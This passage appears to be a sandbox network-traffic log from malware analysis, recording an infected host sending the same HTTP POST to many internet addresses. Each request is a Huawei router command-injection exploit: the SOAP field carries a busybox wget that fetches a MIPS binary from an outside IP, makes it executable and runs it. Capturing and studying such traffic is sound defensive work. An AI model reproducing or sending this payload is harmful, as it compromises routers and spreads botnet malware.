6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
944	192.168.2.13	59056	197.95.60.70	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.351687908 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
945	192.168.2.13	37288	41.91.6.134	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.352658987 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
946	192.168.2.13	36436	156.16.82.237	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.354293108 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
947	192.168.2.13	46160	156.210.121.201	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.355675936 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
948	192.168.2.13	46564	41.68.125.223	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.356770992 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
949	192.168.2.13	60038	41.67.157.91	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.358062029 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
950	192.168.2.13	38604	156.210.117.197	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.359723091 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
951	192.168.2.13	38238	197.63.141.98	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.361006975 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
952	192.168.2.13	44006	197.122.55.139	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.362468004 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
953	192.168.2.13	33304	197.118.203.148	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.363969088 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
954	192.168.2.13	32976	156.173.157.24	37215

Timestamp	Bytes transferred	Direction	Data
